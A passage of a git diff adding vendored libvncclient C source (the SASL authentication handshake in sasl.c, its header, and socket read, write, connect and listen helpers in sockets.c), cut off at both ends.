rfbClientLog("Unrecognized SASL callback ID %d\n", id); + return SASL_FAIL; + } + + if (client->saslSecret) { /* If we've already got it just return it. */ + *secret = client->saslSecret; + return SASL_OK; + } + + if (!client->GetPassword) { + rfbClientLog("Client password callback not found\n"); + return SASL_FAIL; + } + + password = client->GetPassword(client); + + if (! password) return SASL_FAIL; + + sasl_secret_t *lsec = (sasl_secret_t *)malloc(sizeof(sasl_secret_t) + strlen(password)); + if (!lsec) { + rfbClientLog("Could not allocate sasl_secret_t\n"); + return SASL_FAIL; + } + + strcpy(lsec->data, password); + lsec->len = strlen(password); + client->saslSecret = lsec; + *secret = lsec; + + /* Clear client password */ + size_t i; + for (i = 0; i < lsec->len; i++) { + password[i] = '\0'; + } + free(password); + + return SASL_OK; +} + +#define SASL_MAX_MECHLIST_LEN 300 +#define SASL_MAX_DATA_LEN (1024 * 1024) + +/* Perform the SASL authentication process + */ +rfbBool +HandleSASLAuth(rfbClient *client) +{ + sasl_conn_t *saslconn = NULL; + sasl_security_properties_t secprops; + const char *clientout; + char *serverin = NULL; + unsigned int clientoutlen, serverinlen; + int err, complete = 0; + char *localAddr = NULL, *remoteAddr = NULL; + const void *val; + sasl_ssf_t ssf; + sasl_callback_t saslcb[] = { + {SASL_CB_LOG, (void *)log_func, NULL}, + {SASL_CB_AUTHNAME, client->GetUser ? (void *)user_callback_adapt : NULL, client}, + {SASL_CB_PASS, client->GetPassword ? (void *)password_callback_adapt : NULL, client}, + { .id = 0 }, + }; + sasl_interact_t *interact = NULL; + uint32_t mechlistlen; + char *mechlist; + char *wantmech; + const char *mechname; + rfbBool ret; + + client->saslconn = NULL; + + /* Sets up the SASL library as a whole */ + err = sasl_client_init(NULL); + rfbClientLog("Client initialize SASL authentication %d\n", err); + if (err != SASL_OK) { + rfbClientLog("failed to initialize SASL library: %d (%s)\n", + err, sasl_errstring(err, NULL, NULL)); + goto error; + } + + /* Get local address in form IPADDR:PORT */ + struct sockaddr_storage localAddress; + socklen_t addressLength = sizeof(localAddress); + char buf[INET6_ADDRSTRLEN]; + int port; + + if (getsockname(client->sock, (struct sockaddr*)&localAddress, &addressLength)) { + rfbClientLog("failed to get local address\n"); + goto error; + } + + if (localAddress.ss_family == AF_INET) { + struct sockaddr_in *sa_in = (struct sockaddr_in*)&localAddress; + inet_ntop(AF_INET, &(sa_in->sin_addr), buf, INET_ADDRSTRLEN); + port = ntohs(sa_in->sin_port); + localAddr = vnc_connection_addr_to_string(buf, port); + } else if (localAddress.ss_family == AF_INET6) { + struct sockaddr_in6 *sa_in = (struct sockaddr_in6*)&localAddress; + inet_ntop(AF_INET6, &(sa_in->sin6_addr), buf, INET6_ADDRSTRLEN); + port = ntohs(sa_in->sin6_port); + localAddr = vnc_connection_addr_to_string(buf, port); + } else { + rfbClientLog("failed to get local address\n"); + goto error; + } + + /* Get remote address in form IPADDR:PORT */ + remoteAddr = vnc_connection_addr_to_string(client->serverHost, client->serverPort); + + rfbClientLog("Client SASL new host:'%s' local:'%s' remote:'%s'\n", client->serverHost, localAddr, remoteAddr); + + /* Setup a handle for being a client */ + err = sasl_client_new("vnc", + client->serverHost, + localAddr, + remoteAddr, + saslcb, + SASL_SUCCESS_DATA, + &saslconn); + free(localAddr); + free(remoteAddr); + + if (err != SASL_OK) { + rfbClientLog("Failed to create SASL client context: %d (%s)\n", + err, sasl_errstring(err, NULL, NULL)); + goto error; + } + + /* Initialize some connection props we care about */ + if (client->tlsSession) { + if (!(ssf = (sasl_ssf_t)GetTLSCipherBits(client))) { + rfbClientLog("%s", "invalid cipher size for TLS session\n"); + goto error; + } + + rfbClientLog("Setting external SSF %d\n", ssf); + err = sasl_setprop(saslconn, SASL_SSF_EXTERNAL, &ssf); + if (err != SASL_OK) { + rfbClientLog("cannot set external SSF %d (%s)\n", + err, sasl_errstring(err, NULL, NULL)); + goto error; + } + } + + memset (&secprops, 0, sizeof secprops); + /* If we've got TLS, we don't care about SSF */ + secprops.min_ssf = client->tlsSession ? 0 : 56; /* Equiv to DES supported by all Kerberos */ + secprops.max_ssf = client->tlsSession ? 0 : 100000; /* Very strong ! AES == 256 */ + secprops.maxbufsize = 100000; + /* If we're not TLS, then forbid any anonymous or trivially crackable auth */ + secprops.security_flags = client->tlsSession ? 0 : + SASL_SEC_NOANONYMOUS | SASL_SEC_NOPLAINTEXT; + + err = sasl_setprop(saslconn, SASL_SEC_PROPS, &secprops); + if (err != SASL_OK) { + rfbClientLog("cannot set security props %d (%s)\n", + err, sasl_errstring(err, NULL, NULL)); + goto error; + } + + /* Get the supported mechanisms from the server */ + if (!ReadFromRFBServer(client, (char *)&mechlistlen, 4)) { + rfbClientLog("failed to read mechlistlen\n"); + goto error; + } + mechlistlen = rfbClientSwap32IfLE(mechlistlen); + rfbClientLog("mechlistlen is %d\n", mechlistlen); + if (mechlistlen > SASL_MAX_MECHLIST_LEN) { + rfbClientLog("mechlistlen %d too long\n", mechlistlen); + goto error; + } + + mechlist = malloc(mechlistlen+1); + if (!ReadFromRFBServer(client, mechlist, mechlistlen)) { + free(mechlist); + goto error; + } + mechlist[mechlistlen] = '\0'; + + /* Allow the client to influence the mechanism selected. */ + if (client->GetSASLMechanism) { + wantmech = client->GetSASLMechanism(client, mechlist); + + if (wantmech && *wantmech != 0) { + if (strstr(mechlist, wantmech) == NULL) { + rfbClientLog("Client requested SASL mechanism %s not supported by server\n", + wantmech); + free(mechlist); + free(wantmech); + goto error; + } else { + free(mechlist); + mechlist = wantmech; + } + } + } + + rfbClientLog("Client start negotiation mechlist '%s'\n", mechlist); + + restart: + /* Start the auth negotiation on the client end first */ + err = sasl_client_start(saslconn, + mechlist, + &interact, + &clientout, + &clientoutlen, + &mechname); + if (err != SASL_OK && err != SASL_CONTINUE && err != SASL_INTERACT) { + rfbClientLog("Failed to start SASL negotiation: %d (%s)\n", + err, sasl_errdetail(saslconn)); + free(mechlist); + mechlist = NULL; + goto error; + } + + /* Need to gather some credentials from the client */ + if (err == SASL_INTERACT) { + rfbClientLog("User interaction required but not currently supported\n"); + goto error; + } + + rfbClientLog("Server start negotiation with mech %s. Data %d bytes %p '%s'\n", + mechname, clientoutlen, clientout, clientout); + + if (clientoutlen > SASL_MAX_DATA_LEN) { + rfbClientLog("SASL negotiation data too long: %d bytes\n", + clientoutlen); + goto error; + } + + /* Send back the chosen mechname */ + uint32_t mechnamelen = rfbClientSwap32IfLE(strlen(mechname)); + if (!WriteToRFBServer(client, (char *)&mechnamelen, 4)) goto error; + if (!WriteToRFBServer(client, (char *)mechname, strlen(mechname))) goto error; + + /* NB, distinction of NULL vs "" is *critical* in SASL */ + if (clientout) { + uint32_t colsw = rfbClientSwap32IfLE(clientoutlen + 1); + if (!WriteToRFBServer(client, (char *)&colsw, 4)) goto error; + if (!WriteToRFBServer(client, (char *)clientout, clientoutlen + 1)) goto error; + } else { + uint32_t temp = 0; + if (!WriteToRFBServer(client, (char *)&temp, 4)) goto error; + } + + rfbClientLog("%s", "Getting sever start negotiation reply\n"); + /* Read the 'START' message reply from server */ + if (!ReadFromRFBServer(client, (char *)&serverinlen, 4)) goto error; + serverinlen = rfbClientSwap32IfLE(serverinlen); + + if (serverinlen > SASL_MAX_DATA_LEN) { + rfbClientLog("SASL negotiation data too long: %d bytes\n", + serverinlen); + goto error; + } + + /* NB, distinction of NULL vs "" is *critical* in SASL */ + if (serverinlen) { + serverin = malloc(serverinlen); + if (!ReadFromRFBServer(client, serverin, serverinlen)) goto error; + serverin[serverinlen-1] = '\0'; + serverinlen--; + } else { + serverin = NULL; + } + if (!ReadFromRFBServer(client, (char *)&complete, 1)) goto error; + + rfbClientLog("Client start result complete: %d. Data %d bytes %p '%s'\n", + complete, serverinlen, serverin, serverin); + + /* Loop-the-loop... + * Even if the server has completed, the client must *always* do at least one step + * in this loop to verify the server isn't lying about something. Mutual auth */ + for (;;) { + restep: + err = sasl_client_step(saslconn, + serverin, + serverinlen, + &interact, + &clientout, + &clientoutlen); + if (err != SASL_OK && err != SASL_CONTINUE && err != SASL_INTERACT) { + rfbClientLog("Failed SASL step: %d (%s)\n", + err, sasl_errdetail(saslconn)); + goto error; + } + + /* Need to gather some credentials from the client */ + if (err == SASL_INTERACT) { + rfbClientLog("User interaction required but not currently supported\n"); + goto error; + } + + if (serverin) { + free(serverin); + serverin = NULL; + } + + rfbClientLog("Client step result %d. Data %d bytes %p '%s'\n", err, clientoutlen, clientout, clientout); + + /* Previous server call showed completion & we're now locally complete too */ + if (complete && err == SASL_OK) + break; + + /* Not done, prepare to talk with the server for another iteration */ + + /* NB, distinction of NULL vs "" is *critical* in SASL */ + if (clientout) { + uint32_t colsw = rfbClientSwap32IfLE(clientoutlen + 1); + if (!WriteToRFBServer(client, (char *)&colsw, 4)) goto error; + if (!WriteToRFBServer(client, (char *)clientout, clientoutlen + 1)) goto error; + } else { + uint32_t temp = 0; + if (!WriteToRFBServer(client, (char *)&temp, 4)) goto error; + } + + rfbClientLog("Server step with %d bytes %p\n", clientoutlen, clientout); + + if (!ReadFromRFBServer(client, (char *)&serverinlen, 4)) goto error; + serverinlen = rfbClientSwap32IfLE(serverinlen); + + if (serverinlen > SASL_MAX_DATA_LEN) { + rfbClientLog("SASL negotiation data too long: %d bytes\n", + serverinlen); + goto error; + } + + /* NB, distinction of NULL vs "" is *critical* in SASL */ + if (serverinlen) { + serverin = malloc(serverinlen); + if (!ReadFromRFBServer(client, serverin, serverinlen)) goto error; + serverin[serverinlen-1] = '\0'; + serverinlen--; + } else { + serverin = NULL; + } + if (!ReadFromRFBServer(client, (char *)&complete, 1)) goto error; + + rfbClientLog("Client step result complete: %d. Data %d bytes %p '%s'\n", + complete, serverinlen, serverin, serverin); + + /* This server call shows complete, and earlier client step was OK */ + if (complete && err == SASL_OK) { + free(serverin); + serverin = NULL; + break; + } + } + + /* Check for suitable SSF if non-TLS */ + if (!client->tlsSession) { + err = sasl_getprop(saslconn, SASL_SSF, &val); + if (err != SASL_OK) { + rfbClientLog("cannot query SASL ssf on connection %d (%s)\n", + err, sasl_errstring(err, NULL, NULL)); + goto error; + } + ssf = *(const int *)val; + rfbClientLog("SASL SSF value %d\n", ssf); + if (ssf < 56) { /* 56 == DES level, good for Kerberos */ + rfbClientLog("negotiation SSF %d was not strong enough\n", ssf); + goto error; + } + } + + rfbClientLog("%s", "SASL authentication complete\n"); + + uint32_t result; + if (!ReadFromRFBServer(client, (char *)&result, 4)) { + rfbClientLog("Failed to read authentication result\n"); + goto error; + } + result = rfbClientSwap32IfLE(result); + + if (result != 0) { + rfbClientLog("Authentication failure\n"); + goto error; + } + rfbClientLog("Authentication successful - switching to SSF\n"); + + /* This must come *after* check-auth-result, because the former + * is defined to be sent unencrypted, and setting saslconn turns + * on the SSF layer encryption processing */ + client->saslconn = saslconn; + + /* Clear SASL secret from memory if set - it'll be free'd on dispose */ + if (client->saslSecret) { + size_t i; + for (i = 0; i < client->saslSecret->len; i++) + client->saslSecret->data[i] = '\0'; + client->saslSecret->len = 0; + } + + return TRUE; + + error: + if (client->saslSecret) { + size_t i; + for (i = 0; i < client->saslSecret->len; i++) + client->saslSecret->data[i] = '\0'; + client->saslSecret->len = 0; + } + + if (saslconn) + sasl_dispose(&saslconn); + return FALSE; +} + +int +ReadFromSASL(rfbClient* client, char *out, unsigned int n) +{ + size_t want; + + if (client->saslDecoded == NULL) { + char *encoded; + int encodedLen; + int err, ret; + + encodedLen = 8192; + encoded = (char *)malloc(encodedLen); + + ret = read(client->sock, encoded, encodedLen); + if (ret < 0) { + free(encoded); + return ret; + } + if (ret == 0) { + free(encoded); + errno = EIO; + return -EIO; + } + + err = sasl_decode(client->saslconn, encoded, ret, + &client->saslDecoded, &client->saslDecodedLength); + free(encoded); + if (err != SASL_OK) { + rfbClientLog("Failed to decode SASL data %s\n", + sasl_errstring(err, NULL, NULL)); + return -EINVAL; + } + client->saslDecodedOffset = 0; + } + + want = client->saslDecodedLength - client->saslDecodedOffset; + if (want > n) + want = n; + + memcpy(out, + client->saslDecoded + client->saslDecodedOffset, + want); + client->saslDecodedOffset += want; + if (client->saslDecodedOffset == client->saslDecodedLength) { + client->saslDecodedLength = client->saslDecodedOffset = 0; + client->saslDecoded = NULL; + } + + if (!want) { + errno = EAGAIN; + return -EAGAIN; + } + + return want; +} diff --git a/3rdparty/libvncserver/libvncclient/sasl.h b/3rdparty/libvncserver/libvncclient/sasl.h new file mode 100644 index 0000000..2936364 --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/sasl.h @@ -0,0 +1,39 @@ +#ifndef RFBSASL_H +#define RFBSASL_H + +/* + * Copyright (C) 2017 S. Waterman. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +#ifdef LIBVNCSERVER_HAVE_SASL + +#include + +/* + * Perform the SASL authentication process + */ +rfbBool HandleSASLAuth(rfbClient *client); + +/* + * Read from SASL when the SASL SSF is in use. + */ +int ReadFromSASL(rfbClient* client, char *out, unsigned int n); + +#endif /* LIBVNCSERVER_HAVE_SASL */ + +#endif /* RFBSASL_H */ diff --git a/3rdparty/libvncserver/libvncclient/sockets.c b/3rdparty/libvncserver/libvncclient/sockets.c new file mode 100644 index 0000000..b322a56 --- /dev/null +++ b/3rdparty/libvncserver/libvncclient/sockets.c @@ -0,0 +1,904 @@ +/* + * Copyright (C) 2011-2012 Christian Beier + * Copyright (C) 1999 AT&T Laboratories Cambridge. All Rights Reserved. + * + * This is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This software is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this software; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, + * USA. + */ + +/* + * sockets.c - functions to deal with sockets. + */ + +#ifdef __STRICT_ANSI__ +#define _BSD_SOURCE +#ifdef __linux__ +/* Setting this on other systems hides definitions such as INADDR_LOOPBACK. + * The check should be for __GLIBC__ in fact. */ +# define _POSIX_SOURCE +#endif +#endif +#if LIBVNCSERVER_HAVE_UNISTD_H +#include +#endif +#include +#include +#include +#include +#ifdef WIN32 +#undef SOCKET +#include +/* make sure to use the WSA error codes instead of the POSIX ones defined in errno.h */ +#ifdef EWOULDBLOCK +#undef EWOULDBLOCK +#endif +#define EWOULDBLOCK WSAEWOULDBLOCK +#define close closesocket +#define read(sock,buf,len) recv(sock,buf,len,0) +#define write(sock,buf,len) send(sock,buf,len,0) +#define socklen_t int +#ifdef LIBVNCSERVER_HAVE_WS2TCPIP_H +#undef socklen_t +#include +#endif +#else +#include +#include +#include +#include +#include +#include +#endif +#include "tls.h" +#include "sasl.h" + +#ifdef _MSC_VER +# define snprintf _snprintf +#endif + +void PrintInHex(char *buf, int len); + +rfbBool errorMessageOnReadFailure = TRUE; + +/* + * ReadFromRFBServer is called whenever we want to read some data from the RFB + * server. It is non-trivial for two reasons: + * + * 1. For efficiency it performs some intelligent buffering, avoiding invoking + * the read() system call too often. For small chunks of data, it simply + * copies the data out of an internal buffer. For large amounts of data it + * reads directly into the buffer provided by the caller. + * + * 2. Whenever read() would block, it invokes the Xt event dispatching + * mechanism to process X events. In fact, this is the only place these + * events are processed, as there is no XtAppMainLoop in the program. + */ + +rfbBool +ReadFromRFBServer(rfbClient* client, char *out, unsigned int n) +{ + int retries = 0; +#undef DEBUG_READ_EXACT +#ifdef DEBUG_READ_EXACT + char* oout=out; + int nn=n; + rfbClientLog("ReadFromRFBServer %d bytes\n",n); +#endif + + /* Handle attempts to write to NULL out buffer that might occur + when an outside malloc() fails. For instance, memcpy() to NULL + results in undefined behaviour and probably memory corruption.*/ + if(!out) + return FALSE; + + if (client->serverPort==-1) { + /* vncrec playing */ + rfbVNCRec* rec = client->vncRec; + struct timeval tv; + + if (rec->readTimestamp) { + rec->readTimestamp = FALSE; + if (!fread(&tv,sizeof(struct timeval),1,rec->file)) + return FALSE; + + tv.tv_sec = rfbClientSwap32IfLE (tv.tv_sec); + tv.tv_usec = rfbClientSwap32IfLE (tv.tv_usec); + + if (rec->tv.tv_sec!=0 && !rec->doNotSleep) { + struct timeval diff; + diff.tv_sec = tv.tv_sec - rec->tv.tv_sec; + diff.tv_usec = tv.tv_usec - rec->tv.tv_usec; + if(diff.tv_usec<0) { + diff.tv_sec--; + diff.tv_usec+=1000000; + } +#ifndef WIN32 + sleep (diff.tv_sec); + usleep (diff.tv_usec); +#else + Sleep (diff.tv_sec * 1000 + diff.tv_usec/1000); +#endif + } + + rec->tv=tv; + } + + return (fread(out,1,n,rec->file) != n ? FALSE : TRUE); + } + + if (n <= client->buffered) { + memcpy(out, client->bufoutptr, n); + client->bufoutptr += n; + client->buffered -= n; +#ifdef DEBUG_READ_EXACT + goto hexdump; +#endif + return TRUE; + } + + memcpy(out, client->bufoutptr, client->buffered); + + out += client->buffered; + n -= client->buffered; + + client->bufoutptr = client->buf; + client->buffered = 0; + + if (n <= RFB_BUF_SIZE) { + + while (client->buffered < n) { + int i; + if (client->tlsSession) + i = ReadFromTLS(client, client->buf + client->buffered, RFB_BUF_SIZE - client->buffered); + else +#ifdef LIBVNCSERVER_HAVE_SASL + if (client->saslconn) + i = ReadFromSASL(client, client->buf + client->buffered, RFB_BUF_SIZE - client->buffered); + else { +#endif /* LIBVNCSERVER_HAVE_SASL */ + i = read(client->sock, client->buf + client->buffered, RFB_BUF_SIZE - client->buffered); +#ifdef WIN32 + if (i < 0) errno=WSAGetLastError(); +#endif +#ifdef LIBVNCSERVER_HAVE_SASL + } +#endif + + if (i <= 0) { + if (i < 0) { + if (errno == EWOULDBLOCK || errno == EAGAIN) { + if (++retries > 1000) + { + rfbClientLog("Connection timed out\n"); + return FALSE; + } + /* TODO: + ProcessXtEvents(); + */ + WaitForMessage(client, 100000); + i = 0; + } else { + rfbClientErr("read (%d: %s)\n",errno,strerror(errno)); + return FALSE; + } + } else { + if (errorMessageOnReadFailure) { + rfbClientLog("VNC server closed connection\n"); + } + return FALSE; + } + } + client->buffered += i; + } + + memcpy(out, client->bufoutptr, n); + client->bufoutptr += n; + client->buffered -= n; + + } else { + + while (n > 0) { + int i; + if (client->tlsSession) + i = ReadFromTLS(client, out, n); + else +#ifdef LIBVNCSERVER_HAVE_SASL + if (client->saslconn) + i = ReadFromSASL(client, out, n); + else +#endif + i = read(client->sock, out, n); + + if (i <= 0) { + if (i < 0) { +#ifdef WIN32 + errno=WSAGetLastError(); +#endif + if (errno == EWOULDBLOCK || errno == EAGAIN) { + if (++retries > 1000) + { + rfbClientLog("Connection timed out\n"); + return FALSE; + } + /* TODO: + ProcessXtEvents(); + */ + WaitForMessage(client, 100000); + i = 0; + } else { + rfbClientErr("read (%s)\n",strerror(errno)); + return FALSE; + } + } else { + if (errorMessageOnReadFailure) { + rfbClientLog("VNC server closed connection\n"); + } + return FALSE; + } + } + out += i; + n -= i; + } + } + +#ifdef DEBUG_READ_EXACT +hexdump: + { int ii; + for(ii=0;iiserverPort==-1) + return TRUE; /* vncrec playing */ + + if (client->tlsSession) { + /* WriteToTLS() will guarantee either everything is written, or error/eof returns */ + i = WriteToTLS(client, buf, n); + if (i <= 0) return FALSE; + + return TRUE; + } +#ifdef LIBVNCSERVER_HAVE_SASL + if (client->saslconn) { + err = sasl_encode(client->saslconn, + buf, n, + &output, &outputlen); + if (err != SASL_OK) { + rfbClientLog("Failed to encode SASL data %s", + sasl_errstring(err, NULL, NULL)); + return FALSE; + } + obuf = output; + n = outputlen; + } +#endif /* LIBVNCSERVER_HAVE_SASL */ + + while (i < n) { + j = write(client->sock, obuf + i, (n - i)); + if (j <= 0) { + if (j < 0) { +#ifdef WIN32 + errno=WSAGetLastError(); +#endif + if (errno == EWOULDBLOCK || +#ifdef LIBVNCSERVER_ENOENT_WORKAROUND + errno == ENOENT || +#endif + errno == EAGAIN) { + FD_ZERO(&fds); + FD_SET(client->sock,&fds); + + if (select(client->sock+1, NULL, &fds, NULL, NULL) <= 0) { + rfbClientErr("select\n"); + return FALSE; + } + j = 0; + } else { + rfbClientErr("write\n"); + return FALSE; + } + } else { + rfbClientLog("write failed\n"); + return FALSE; + } + } + i += j; + } + return TRUE; +} + +static int initSockets() { +#ifdef WIN32 + WSADATA trash; + static rfbBool WSAinitted=FALSE; + if(!WSAinitted) { + int i=WSAStartup(MAKEWORD(2,0),&trash); + if(i!=0) { + rfbClientErr("Couldn't init Windows Sockets\n"); + return 0; + } + WSAinitted=TRUE; + } +#endif + return 1; +} + +/* + * ConnectToTcpAddr connects to the given TCP port. + */ + +int +ConnectClientToTcpAddr(unsigned int host, int port) +{ + int sock; + struct sockaddr_in addr; + int one = 1; +#ifdef WIN32 + DWORD timeout; +#else + struct timeval timeout; +#endif + + if (!initSockets()) + return -1; + + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + addr.sin_addr.s_addr = host; + + sock = socket(AF_INET, SOCK_STREAM, 0); + if (sock < 0) { +#ifdef WIN32 + errno=WSAGetLastError(); +#endif + rfbClientErr("ConnectToTcpAddr: socket (%s)\n",strerror(errno)); + return -1; + } + +#ifdef WIN32 + timeout = 10000; + setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (const char *)&timeout, sizeof(timeout)); +#else + timeout.tv_sec = 10; + timeout.tv_usec = 0; + setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout)); +#endif + + if (connect(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + /*rfbClientErr("ConnectToTcpAddr: connect\n");*/ + close(sock); + return -1; + } + + if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, + (char *)&one, sizeof(one)) < 0) { + rfbClientErr("ConnectToTcpAddr: setsockopt\n"); + close(sock); + return -1; + } + + return sock; +} + +int +ConnectClientToTcpAddr6(const char *hostname, int port) +{ +#ifdef LIBVNCSERVER_IPv6 + int sock; + int n; + struct addrinfo hints, *res, *ressave; + char port_s[10]; + int one = 1; +#ifdef WIN32 + DWORD timeout; +#else + struct timeval timeout; +#endif + + if (!initSockets()) + return -1; + + snprintf(port_s, 10, "%d", port); + memset(&hints, 0, sizeof(struct addrinfo)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + if ((n = getaddrinfo(hostname, port_s, &hints, &res))) + { + rfbClientErr("ConnectClientToTcpAddr6: getaddrinfo (%s)\n", gai_strerror(n)); + return -1; + } + + ressave = res; + sock = -1; + while (res) + { + sock = socket(res->ai_family, res->ai_socktype, res->ai_protocol); + if (sock >= 0) + { +#ifdef WIN32 + timeout = 10000; + setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, (const char *)&timeout, sizeof(timeout)); +#else + timeout.tv_sec = 10; + timeout.tv_usec = 0; + setsockopt(sock, SOL_SOCKET, SO_SNDTIMEO, &timeout, sizeof(timeout)); +#endif + if (connect(sock, res->ai_addr, res->ai_addrlen) == 0) + break; + close(sock); + sock = -1; + } + res = res->ai_next; + } + freeaddrinfo(ressave); + + if (sock == -1) + { + /*rfbClientErr("ConnectClientToTcpAddr6: connect\n");*/ + return -1; + } + + if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, + (char *)&one, sizeof(one)) < 0) { + rfbClientErr("ConnectToTcpAddr: setsockopt\n"); + close(sock); + return -1; + } + + return sock; + +#else + + rfbClientErr("ConnectClientToTcpAddr6: IPv6 disabled\n"); + return -1; + +#endif +} + +int +ConnectClientToUnixSock(const char *sockFile) +{ +#ifdef WIN32 + rfbClientErr("Windows doesn't support UNIX sockets\n"); + return -1; +#else + int sock; + struct sockaddr_un addr; + addr.sun_family = AF_UNIX; + strcpy(addr.sun_path, sockFile); + + sock = socket(AF_UNIX, SOCK_STREAM, 0); + if (sock < 0) { + rfbClientErr("ConnectToUnixSock: socket (%s)\n",strerror(errno)); + return -1; + } + + if (connect(sock, (struct sockaddr *)&addr, sizeof(addr.sun_family) + strlen(addr.sun_path)) < 0) { + rfbClientErr("ConnectToUnixSock: connect\n"); + close(sock); + return -1; + } + + return sock; +#endif +} + + + +/* + * FindFreeTcpPort tries to find unused TCP port in the range + * (TUNNEL_PORT_OFFSET, TUNNEL_PORT_OFFSET + 99]. Returns 0 on failure. + */ + +int +FindFreeTcpPort(void) +{ + int sock, port; + struct sockaddr_in addr; + + addr.sin_family = AF_INET; + addr.sin_addr.s_addr = htonl(INADDR_ANY); + + if (!initSockets()) + return -1; + + sock = socket(AF_INET, SOCK_STREAM, 0); + if (sock < 0) { + rfbClientErr(": FindFreeTcpPort: socket\n"); + return 0; + } + + for (port = TUNNEL_PORT_OFFSET + 99; port > TUNNEL_PORT_OFFSET; port--) { + addr.sin_port = htons((unsigned short)port); + if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) == 0) { + close(sock); + return port; + } + } + + close(sock); + return 0; +} + + +/* + * ListenAtTcpPort starts listening at the given TCP port. + */ + +int +ListenAtTcpPort(int port) +{ + return ListenAtTcpPortAndAddress(port, NULL); +} + + + +/* + * ListenAtTcpPortAndAddress starts listening at the given TCP port on + * the given IP address + */ + +int +ListenAtTcpPortAndAddress(int port, const char *address) +{ + int sock; + int one = 1; +#ifndef LIBVNCSERVER_IPv6 + struct sockaddr_in addr; + + addr.sin_family = AF_INET; + addr.sin_port = htons(port); + if (address) { + addr.sin_addr.s_addr = inet_addr(address); + } else { + addr.sin_addr.s_addr = htonl(INADDR_ANY); + } + + if (!initSockets()) + return -1; + + sock = socket(AF_INET, SOCK_STREAM, 0); + if (sock < 0) { + rfbClientErr("ListenAtTcpPort: socket\n"); + return -1; + } + + if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, + (const char *)&one, sizeof(one)) < 0) { + rfbClientErr("ListenAtTcpPort: setsockopt\n"); + close(sock); + return -1; + } + + if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + rfbClientErr("ListenAtTcpPort: bind\n"); + close(sock); + return -1; + } + +#else + int rv; + struct addrinfo hints, *servinfo, *p; + char port_str[8]; + + snprintf(port_str, 8, "%d", port); + + memset(&hints, 0, sizeof(hints)); + hints.ai_family = AF_UNSPEC; + hints.ai_socktype = SOCK_STREAM; + hints.ai_flags = AI_PASSIVE; /* fill in wildcard address if address == NULL */ + + if (!initSockets()) + return -1; + + if ((rv = getaddrinfo(address, port_str, &hints, &servinfo)) != 0) { + rfbClientErr("ListenAtTcpPortAndAddress: error in getaddrinfo: %s\n", gai_strerror(rv)); + return -1; + } + + /* loop through all the results and bind to the first we can */ + for(p = servinfo; p != NULL; p = p->ai_next) { + if ((sock = socket(p->ai_family, p->ai_socktype, p->ai_protocol)) < 0) { + continue; + } + +#ifdef IPV6_V6ONLY + /* we have separate IPv4 and IPv6 sockets since some OS's do not support dual binding */ + if (p->ai_family == AF_INET6 && setsockopt(sock, IPPROTO_IPV6, IPV6_V6ONLY, (char *)&one, sizeof(one)) < 0) { + rfbClientErr("ListenAtTcpPortAndAddress: error in setsockopt IPV6_V6ONLY: %s\n", strerror(errno)); + close(sock); + freeaddrinfo(servinfo); + return -1; + } +#endif + + if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char *)&one, sizeof(one)) < 0) { + rfbClientErr("ListenAtTcpPortAndAddress: error in setsockopt SO_REUSEADDR: %s\n", strerror(errno)); + close(sock); + freeaddrinfo(servinfo); + return -1; + } + + if (bind(sock, p->ai_addr, p->ai_addrlen) < 0) { + close(sock); + continue; + } + + break; + } + + if (p == NULL) { + rfbClientErr("ListenAtTcpPortAndAddress: error in bind: %s\n", strerror(errno)); + return -1; + } + + /* all done with this structure now */ + freeaddrinfo(servinfo); +#endif + + if (listen(sock, 5) < 0) { + rfbClientErr("ListenAtTcpPort: listen\n"); + close(sock); + return -1; + } + + return sock; +} + + +/* + * AcceptTcpConnection accepts a TCP connection. + */ + +int +AcceptTcpConnection(int listenSock) +{ + int sock; + struct sockaddr_in addr; + socklen_t addrlen = sizeof(addr); + int one = 1; + + sock = accept(listenSock, (struct sockaddr *) &addr, &addrlen); + if (sock < 0) { + rfbClientErr("AcceptTcpConnection: accept\n"); + return -1; + } + + if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, + (char *)&one, sizeof(one)) < 0) { + rfbClientErr("AcceptTcpConnection: setsockopt\n"); + close(sock); + return -1; + } + + return sock; +} + + +/* + * SetNonBlocking sets a socket into non-blocking mode. + */ + +rfbBool +SetNonBlocking(int sock) +{ +#ifdef WIN32 + unsigned long block=1; + if(ioctlsocket(sock, FIONBIO, &block) == SOCKET_ERROR) { + errno=WSAGetLastError(); +#else + int flags = fcntl(sock, F_GETFL); + if(flags < 0 || fcntl(sock, F_SETFL, flags | O_NONBLOCK) < 0) { +#endif + rfbClientErr("Setting socket to non-blocking failed: %s\n",strerror(errno)); + return FALSE; + } + return TRUE; +} + + + +/* + * SetDSCP sets a socket's IP QoS parameters aka Differentiated Services Code Point field + */ + +rfbBool +SetDSCP(int sock, int dscp) +{ +#ifdef WIN32 + rfbClientErr("Setting of QoS IP DSCP not implemented for Windows\n"); + return TRUE; +#else + int level, cmd; + struct sockaddr addr; + socklen_t addrlen = 